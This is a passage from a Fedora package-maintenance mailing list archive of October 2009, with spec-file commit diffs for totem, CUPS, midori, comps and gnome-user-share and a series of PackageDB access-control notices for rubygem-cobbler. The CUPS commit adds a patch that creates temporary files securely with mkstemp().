diff -u -p -r1.249 -r1.250
--- totem.spec	20 Oct 2009 14:08:45 -0000	1.249
+++ totem.spec	20 Oct 2009 15:05:03 -0000	1.250
@@ -9,7 +9,7 @@
 Summary: Movie player for GNOME
 Name: totem
 Version: 2.26.4
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2+ with exceptions
 Group: Applications/Multimedia
 URL: http://projects.gnome.org/totem/
@@ -17,6 +17,8 @@ Source0: http://download.gnome.org/sourc
 Source1: totem-bin-backend-ondemand.sh
 # Will be removed when we switch to playbin2
 Patch0: 0001-Set-the-PA-stream-volume-from-Totem.patch
+# http://git.gnome.org/cgit/totem/commit/?id=5a1b3c0fe2c23e7993d6880efde2bfc08bde1e5c
+Patch1: opensub-fix-warning.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n) 
 
 Requires(pre): GConf2 >= 2.14
@@ -210,6 +212,7 @@ audio and video files in the properties 
 %setup -q -c
 pushd totem-%{version}/
 %patch0 -p1 -b .pulsesink-vol
+%patch1 -p1 -b .opensub
 popd
 # Whatever needs to be changed in both copies do here
 ## remember to update me when changing %doc
@@ -483,6 +486,9 @@ fi
 %endif
 
 %changelog
+* Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.26.4-3
+- Fix warning when using OpenSubtitles plugin (#497210)
+
 * Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.26.4-2
 - Update pulsesink patch to use cubic volumes (#512090)
 



From pkgdb at fedoraproject.org  Tue Oct 20 15:05:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:05:43 +0000
Subject: [pkgdb] rubygem-cobbler had acl change status
Message-ID: <20091020150543.544DA10F895@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on rubygem-cobbler (Fedora 10) to Obsolete for mdehaan

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:05:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:05:45 +0000
Subject: [pkgdb] rubygem-cobbler had acl change status
Message-ID: <20091020150545.27FA810F8C6@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on rubygem-cobbler (Fedora 10) to Obsolete for mdehaan

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:05:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:05:42 +0000
Subject: [pkgdb] rubygem-cobbler had acl change status
Message-ID: <20091020150545.4CEEB10F8C9@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on rubygem-cobbler (Fedora 10) to Obsolete for mdehaan

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:05:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:05:46 +0000
Subject: [pkgdb] rubygem-cobbler had acl change status
Message-ID: <20091020150546.2C8AE10F8CD@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on rubygem-cobbler (Fedora 10) to Obsolete for mdehaan

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:05:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:05:49 +0000
Subject: [pkgdb] rubygem-cobbler had acl change status
Message-ID: <20091020150549.D143C10F8CF@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on rubygem-cobbler (Fedora 11) to Obsolete for mdehaan

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:05:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:05:51 +0000
Subject: [pkgdb] rubygem-cobbler had acl change status
Message-ID: <20091020150552.000FA10F8D1@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on rubygem-cobbler (Fedora 11) to Obsolete for mdehaan

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:05:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:05:52 +0000
Subject: [pkgdb] rubygem-cobbler had acl change status
Message-ID: <20091020150553.0EDF810F8D4@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on rubygem-cobbler (Fedora 11) to Obsolete for mdehaan

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:05:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:05:53 +0000
Subject: [pkgdb] rubygem-cobbler had acl change status
Message-ID: <20091020150553.DBB8410F8B8@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on rubygem-cobbler (Fedora 11) to Obsolete for mdehaan

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:05:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:05:56 +0000
Subject: [pkgdb] rubygem-cobbler had acl change status
Message-ID: <20091020150556.8E14A10F8D3@bastion2.fedora.phx.redhat.com>

mcpierce has set the commit acl on rubygem-cobbler (Fedora 9) to Denied for mdehaan

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:05:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:05:57 +0000
Subject: [pkgdb] rubygem-cobbler had acl change status
Message-ID: <20091020150557.B601410F8D9@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on rubygem-cobbler (Fedora 12) to Obsolete for mdehaan

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:05:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:05:58 +0000
Subject: [pkgdb] rubygem-cobbler had acl change status
Message-ID: <20091020150559.0343710F8DB@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on rubygem-cobbler (Fedora 12) to Obsolete for mdehaan

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:05:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:05:59 +0000
Subject: [pkgdb] rubygem-cobbler had acl change status
Message-ID: <20091020150559.5F28010F8DF@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on rubygem-cobbler (Fedora 12) to Obsolete for mdehaan

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:06:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:06:00 +0000
Subject: [pkgdb] rubygem-cobbler had acl change status
Message-ID: <20091020150600.5009810F8E0@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on rubygem-cobbler (Fedora 12) to Obsolete for mdehaan

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:06:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:06:07 +0000
Subject: [pkgdb] rubygem-cobbler: mdehaan has given up watchbugzilla
Message-ID: <20091020150607.E0ACD10F8EC@bastion2.fedora.phx.redhat.com>

mdehaan has given up the watchbugzilla acl on rubygem-cobbler (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:06:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:06:08 +0000
Subject: [pkgdb] rubygem-cobbler: mdehaan has given up watchcommits
Message-ID: <20091020150608.8B70E10F8F1@bastion2.fedora.phx.redhat.com>

mdehaan has given up the watchcommits acl on rubygem-cobbler (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:06:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:06:08 +0000
Subject: [pkgdb] rubygem-cobbler: mdehaan has given up commit
Message-ID: <20091020150608.E16DB10F8F0@bastion2.fedora.phx.redhat.com>

mdehaan has given up the commit acl on rubygem-cobbler (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:06:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:06:10 +0000
Subject: [pkgdb] rubygem-cobbler had acl change status
Message-ID: <20091020150610.5E4E510F87F@bastion2.fedora.phx.redhat.com>

mcpierce has set the commit acl on rubygem-cobbler (Fedora 10) to Denied for mdehaan

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:06:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:06:12 +0000
Subject: [pkgdb] rubygem-cobbler: mdehaan has requested watchbugzilla
Message-ID: <20091020150613.1EEA310F8BF@bastion2.fedora.phx.redhat.com>

mdehaan has requested the watchbugzilla acl on rubygem-cobbler (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:06:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:06:13 +0000
Subject: [pkgdb] rubygem-cobbler: mdehaan has requested watchcommits
Message-ID: <20091020150613.5D06C10F8F5@bastion2.fedora.phx.redhat.com>

mdehaan has requested the watchcommits acl on rubygem-cobbler (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:06:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:06:14 +0000
Subject: [pkgdb] rubygem-cobbler: mdehaan has given up commit
Message-ID: <20091020150614.1390D10F8FC@bastion2.fedora.phx.redhat.com>

mdehaan has given up the commit acl on rubygem-cobbler (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:06:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:06:15 +0000
Subject: [pkgdb] rubygem-cobbler had acl change status
Message-ID: <20091020150615.6839F10F901@bastion2.fedora.phx.redhat.com>

mcpierce has set the commit acl on rubygem-cobbler (Fedora 11) to Denied for mdehaan

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:06:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:06:15 +0000
Subject: [pkgdb] rubygem-cobbler: mdehaan has requested approveacls
Message-ID: <20091020150615.7809D10F902@bastion2.fedora.phx.redhat.com>

mdehaan has requested the approveacls acl on rubygem-cobbler (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:06:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:06:16 +0000
Subject: [pkgdb] rubygem-cobbler: mdehaan has requested watchcommits
Message-ID: <20091020150616.BFB1110F906@bastion2.fedora.phx.redhat.com>

mdehaan has requested the watchcommits acl on rubygem-cobbler (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:06:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:06:17 +0000
Subject: [pkgdb] rubygem-cobbler: mdehaan has given up commit
Message-ID: <20091020150617.6F7C010F909@bastion2.fedora.phx.redhat.com>

mdehaan has given up the commit acl on rubygem-cobbler (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:06:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:06:17 +0000
Subject: [pkgdb] rubygem-cobbler: mdehaan has requested watchbugzilla
Message-ID: <20091020150617.875D810F90C@bastion2.fedora.phx.redhat.com>

mdehaan has requested the watchbugzilla acl on rubygem-cobbler (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:06:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:06:18 +0000
Subject: [pkgdb] rubygem-cobbler: mdehaan has requested approveacls
Message-ID: <20091020150618.CABDE10F90E@bastion2.fedora.phx.redhat.com>

mdehaan has requested the approveacls acl on rubygem-cobbler (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:06:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:06:18 +0000
Subject: [pkgdb] rubygem-cobbler had acl change status
Message-ID: <20091020150619.37B0310F911@bastion2.fedora.phx.redhat.com>

mcpierce has set the commit acl on rubygem-cobbler (Fedora 12) to Denied for mdehaan

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:06:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:06:20 +0000
Subject: [pkgdb] rubygem-cobbler: mdehaan has requested watchcommits
Message-ID: <20091020150620.8847D10F913@bastion2.fedora.phx.redhat.com>

mdehaan has requested the watchcommits acl on rubygem-cobbler (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:06:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:06:21 +0000
Subject: [pkgdb] rubygem-cobbler: mdehaan has requested watchbugzilla
Message-ID: <20091020150621.1D04E10F916@bastion2.fedora.phx.redhat.com>

mdehaan has requested the watchbugzilla acl on rubygem-cobbler (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:06:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:06:21 +0000
Subject: [pkgdb] rubygem-cobbler: mdehaan has given up commit
Message-ID: <20091020150621.8DE6C10F918@bastion2.fedora.phx.redhat.com>

mdehaan has given up the commit acl on rubygem-cobbler (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 15:06:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 15:06:22 +0000
Subject: [pkgdb] rubygem-cobbler: mdehaan has requested approveacls
Message-ID: <20091020150622.2C8C610F91A@bastion2.fedora.phx.redhat.com>

mdehaan has requested the approveacls acl on rubygem-cobbler (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cobbler



From hadess at fedoraproject.org  Tue Oct 20 15:20:50 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 20 Oct 2009 15:20:50 +0000 (UTC)
Subject: rpms/totem/F-12 totem.spec,1.264,1.265
Message-ID: <20091020152050.4052511C0081@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/totem/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32393

Modified Files:
	totem.spec 
Log Message:
* Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-4
- Add missing dependency (#529845)



Index: totem.spec
===================================================================
RCS file: /cvs/pkgs/rpms/totem/F-12/totem.spec,v
retrieving revision 1.264
retrieving revision 1.265
diff -u -p -r1.264 -r1.265
--- totem.spec	7 Oct 2009 08:37:10 -0000	1.264
+++ totem.spec	20 Oct 2009 15:20:48 -0000	1.265
@@ -6,7 +6,7 @@
 Summary: Movie player for GNOME
 Name: totem
 Version: 2.28.1
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2+ with exceptions
 Group: Applications/Multimedia
 URL: http://projects.gnome.org/totem/
@@ -30,6 +30,7 @@ Requires: pygtk2
 # For the iplayer plugin
 Requires: python-httplib2
 Requires: python-BeautifulSoup
+Requires: python-feedparser
 
 Requires: gstreamer >= %gstreamer_version
 Requires: gstreamer-plugins-base >= %gstreamer_plugins_base_version
@@ -380,6 +381,9 @@ fi
 %{_libdir}/totem/plugins/publish
 
 %changelog
+* Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-4
+- Add missing dependency (#529845)
+
 * Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-3
 - Remove work-around for brasero bug
 



From hadess at fedoraproject.org  Tue Oct 20 15:21:41 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 20 Oct 2009 15:21:41 +0000 (UTC)
Subject: rpms/totem/devel totem.spec,1.262,1.263
Message-ID: <20091020152141.367FA11C0081@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/totem/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv744

Modified Files:
	totem.spec 
Log Message:
* Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-2
- Add missing dependency (#529845)



Index: totem.spec
===================================================================
RCS file: /cvs/pkgs/rpms/totem/devel/totem.spec,v
retrieving revision 1.262
retrieving revision 1.263
diff -u -p -r1.262 -r1.263
--- totem.spec	29 Sep 2009 15:26:14 -0000	1.262
+++ totem.spec	20 Oct 2009 15:21:41 -0000	1.263
@@ -6,7 +6,7 @@
 Summary: Movie player for GNOME
 Name: totem
 Version: 2.28.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+ with exceptions
 Group: Applications/Multimedia
 URL: http://projects.gnome.org/totem/
@@ -30,6 +30,7 @@ Requires: pygtk2
 # For the iplayer plugin
 Requires: python-httplib2
 Requires: python-BeautifulSoup
+Requires: python-feedparser
 
 Requires: gstreamer >= %gstreamer_version
 Requires: gstreamer-plugins-base >= %gstreamer_plugins_base_version
@@ -380,6 +381,9 @@ fi
 %{_libdir}/totem/plugins/publish
 
 %changelog
+* Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-2
+- Add missing dependency (#529845)
+
 * Tue Sep 29 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-1
 - Update to 2.28.1
 



From jpopelka at fedoraproject.org  Tue Oct 20 15:34:06 2009
From: jpopelka at fedoraproject.org (=?utf-8?b?SmnFmcOtIFBvcGVsa2E=?=)
Date: Tue, 20 Oct 2009 15:34:06 +0000 (UTC)
Subject: rpms/cups/F-10 cups-str3382.patch,NONE,1.1 cups.spec,1.463,1.464
Message-ID: <20091020153406.40D8A11C0081@cvs1.fedora.phx.redhat.com>

Author: jpopelka

Update of /cvs/pkgs/rpms/cups/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3101

Modified Files:
	cups.spec 
Added Files:
	cups-str3382.patch 
Log Message:
* Tue Oct 20 2009 Jiri Popelka <jpopelka at redhat.com> 1:1.3.10-6
- Fix cups-lpd to create unique temporary data files (bug #529838, STR #3382).


cups-str3382.patch:
 tempfile.c |   31 ++++++++++++-------------------
 1 file changed, 12 insertions(+), 19 deletions(-)

--- NEW FILE cups-str3382.patch ---
diff -up cups-1.3.10/cups/tempfile.c.str3382 cups-1.3.10/cups/tempfile.c
--- cups-1.3.10/cups/tempfile.c.str3382	2008-07-12 00:48:49.000000000 +0200
+++ cups-1.3.10/cups/tempfile.c	2009-10-20 15:23:25.000000000 +0200
@@ -35,6 +35,7 @@
 #  include <io.h>
 #else
 #  include <unistd.h>
+#  include <sys/types.h>
 #endif /* WIN32 || __EMX__ */
 
 
@@ -56,7 +57,7 @@ cupsTempFd(char *filename,		/* I - Point
   char		tmppath[1024];		/* Windows temporary directory */
   DWORD		curtime;		/* Current time */
 #else
-  struct timeval curtime;		/* Current time */
+  mode_t	old_umask;		/* Old umask before using mkstemp() */
 #endif /* WIN32 */
 
 
@@ -107,33 +108,25 @@ cupsTempFd(char *filename,		/* I - Point
 
     snprintf(filename, len - 1, "%s/%05lx%08lx", tmpdir,
              GetCurrentProcessId(), curtime);
-#else
-   /*
-    * Get the current time of day...
-    */
-
-    gettimeofday(&curtime, NULL);
-
-   /*
-    * Format a string using the hex time values...
-    */
-
-    snprintf(filename, len - 1, "%s/%08lx%05lx", tmpdir,
-             (unsigned long)curtime.tv_sec, (unsigned long)curtime.tv_usec);
-#endif /* WIN32 */
 
    /*
     * Open the file in "exclusive" mode, making sure that we don't
     * stomp on an existing file or someone's symlink crack...
     */
 
-#ifdef WIN32
     fd = open(filename, _O_CREAT | _O_RDWR | _O_TRUNC | _O_BINARY,
               _S_IREAD | _S_IWRITE);
-#elif defined(O_NOFOLLOW)
-    fd = open(filename, O_RDWR | O_CREAT | O_EXCL | O_NOFOLLOW, 0600);
 #else
-    fd = open(filename, O_RDWR | O_CREAT | O_EXCL, 0600);
+   /*
+    * Use the standard mkstemp() call to make a temporary filename
+    * securely.  -- andrew.wood at jdplc.com
+    */
+
+    snprintf(filename, len - 1, "%s/cupsXXXXXX", tmpdir);
+
+    old_umask = umask(0077);
+    fd = mkstemp(filename);
+    umask(old_umask);
 #endif /* WIN32 */
 
     if (fd < 0 && errno != EEXIST)


Index: cups.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cups/F-10/cups.spec,v
retrieving revision 1.463
retrieving revision 1.464
diff -u -p -r1.463 -r1.464
--- cups.spec	6 May 2009 12:08:40 -0000	1.463
+++ cups.spec	20 Oct 2009 15:34:05 -0000	1.464
@@ -7,7 +7,7 @@
 Summary: Common Unix Printing System
 Name: cups
 Version: 1.3.10
-Release: 5%{?svn:.svn%{svn}}%{?dist}
+Release: 6%{?svn:.svn%{svn}}%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source: ftp://ftp.easysw.com/pub/cups/test//cups-%{version}%{?svn:svn-r%{svn}}-source.tar.bz2
@@ -51,6 +51,7 @@ Patch24: cups-str2536.patch
 Patch25: cups-localhost-ipv6.patch
 Patch26: cups-str3023.patch
 Patch29: cups-str2831.patch
+Patch30: cups-str3382.patch
 Patch100: cups-lspp.patch
 Epoch: 1
 Url: http://www.cups.org/
@@ -188,6 +189,7 @@ module. 
 %patch25 -p1 -b .localhost-ipv6
 %patch26 -p1 -b .str3023
 %patch29 -p1 -b .str2831
+%patch30 -p1 -b .str3382
 
 %if %lspp
 %patch100 -p1 -b .lspp
@@ -508,6 +510,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/php/modules/*.so
 
 %changelog
+* Tue Oct 20 2009 Jiri Popelka <jpopelka at redhat.com> 1:1.3.10-6
+- Fix cups-lpd to create unique temporary data files (bug #529838, STR #3382).
+
 * Wed May  6 2009 Tim Waugh <twaugh at redhat.com> 1:1.3.10-5
 - Restart cupsd if "ServerAlias *" is added to cupsd.conf
   (bug #497354).



From pgordon at fedoraproject.org  Tue Oct 20 15:47:35 2009
From: pgordon at fedoraproject.org (Peter Gordon)
Date: Tue, 20 Oct 2009 15:47:35 +0000 (UTC)
Subject: rpms/midori/devel .cvsignore, 1.14, 1.15 midori.spec, 1.27,
	1.28 sources, 1.14, 1.15
Message-ID: <20091020154735.B317111C0081@cvs1.fedora.phx.redhat.com>

Author: pgordon

Update of /cvs/pkgs/rpms/midori/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6507

Modified Files:
	.cvsignore midori.spec sources 
Log Message:
Update to 0.2.0


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/midori/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	16 Sep 2009 02:50:07 -0000	1.14
+++ .cvsignore	20 Oct 2009 15:47:33 -0000	1.15
@@ -1 +1 @@
-midori-0.1.10.tar.bz2
+midori-0.2.0.tar.bz2


Index: midori.spec
===================================================================
RCS file: /cvs/pkgs/rpms/midori/devel/midori.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- midori.spec	16 Sep 2009 02:50:10 -0000	1.27
+++ midori.spec	20 Oct 2009 15:47:34 -0000	1.28
@@ -1,5 +1,5 @@
 Name:		midori
-Version:	0.1.10
+Version:	0.2.0
 Release:	1%{?dist}
 Summary:	A lightweight GTK+ web browser 
 
@@ -98,9 +98,17 @@ fi
 %{_datadir}/%{name}/
 %{_libdir}/%{name}/
 %{_sysconfdir}/xdg/%{name}/
+%config(noreplace) %{_sysconfdir}/%{name}/extensions/*/config
+%{_sysconfdir}/%{name}
 
 
 %changelog
+* Tue Oct 20 2009 Peter Gordon <peter at thecodergeek.com> - 0.2.0-1
+- Update to new upstream release (0.2.0): Drag-scroll on touchscreen devices,
+  Speed Dial fixes, faster AdBlock (for all WebKitGTK+ versions), updated DNS
+  and IDN handling, new form history extension, various bookmark and history
+  fixes.
+
 * Tue Sep 15 2009 Peter Gordon <peter at thecodergeek.com> - 0.1.10-1
 - Update to new upstream release (0.1.10): Updated AdBlock for WebKitGTK+
   1.1.14, improved address completion, fixes for tab and feed handling, better


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/midori/devel/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	16 Sep 2009 02:50:10 -0000	1.14
+++ sources	20 Oct 2009 15:47:34 -0000	1.15
@@ -1 +1 @@
-97b6a3a3ccb8458c68c335b2ee8e9197  midori-0.1.10.tar.bz2
+805e2e59a93a0a4b7652d6547b2bd923  midori-0.2.0.tar.bz2



From cwickert at fedoraproject.org  Tue Oct 20 15:52:19 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Tue, 20 Oct 2009 15:52:19 +0000 (UTC)
Subject: comps comps-f13.xml.in,1.49,1.50
Message-ID: <20091020155219.BC15311C0081@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7974

Modified Files:
	comps-f13.xml.in 
Log Message:
add gtrayicon and thunar-vcs-plugin


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- comps-f13.xml.in	19 Oct 2009 20:38:14 -0000	1.49
+++ comps-f13.xml.in	20 Oct 2009 15:52:19 -0000	1.50
@@ -2602,6 +2602,7 @@
       <packagereq type="optional">gonvert</packagereq>
       <packagereq type="optional">grsync</packagereq>
       <packagereq type="optional">gst-mixer</packagereq>
+      <packagereq type="optional">gtrayicon</packagereq>
       <packagereq type="optional">gtweakui</packagereq>
       <packagereq type="optional">gvfs-obexftp</packagereq>
       <packagereq type="optional">hamster-applet</packagereq>
@@ -6140,6 +6141,7 @@
       <packagereq type="optional">Terminal</packagereq>
       <packagereq type="optional">thunar-media-tags-plugin</packagereq>
       <packagereq type="optional">thunar-shares-plugin</packagereq>
+      <packagereq type="optional">thunar-vcs-plugin</packagereq>
       <packagereq type="optional">xfbib</packagereq>
       <packagereq type="optional">xfburn</packagereq>
       <packagereq type="optional">xfce4-battery-plugin</packagereq>



From hadess at fedoraproject.org  Tue Oct 20 15:54:45 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 20 Oct 2009 15:54:45 +0000 (UTC)
Subject: rpms/gnome-user-share/F-11 .cvsignore, 1.19,
	1.20 gnome-user-share.spec, 1.54, 1.55 sources, 1.19, 1.20
Message-ID: <20091020155445.52CF911C0081@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-user-share/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9027

Modified Files:
	.cvsignore gnome-user-share.spec sources 
Log Message:
* Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.28.0-1
- Update to 2.28.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-user-share/F-11/.cvsignore,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- .cvsignore	16 Mar 2009 10:31:04 -0000	1.19
+++ .cvsignore	20 Oct 2009 15:54:45 -0000	1.20
@@ -1 +1 @@
-gnome-user-share-2.26.0.tar.bz2
+gnome-user-share-2.28.0.tar.bz2


Index: gnome-user-share.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-user-share/F-11/gnome-user-share.spec,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- gnome-user-share.spec	20 Aug 2009 11:21:58 -0000	1.54
+++ gnome-user-share.spec	20 Oct 2009 15:54:45 -0000	1.55
@@ -1,16 +1,16 @@
 Summary: Gnome user file sharing
 Name: gnome-user-share
-Version: 2.26.0
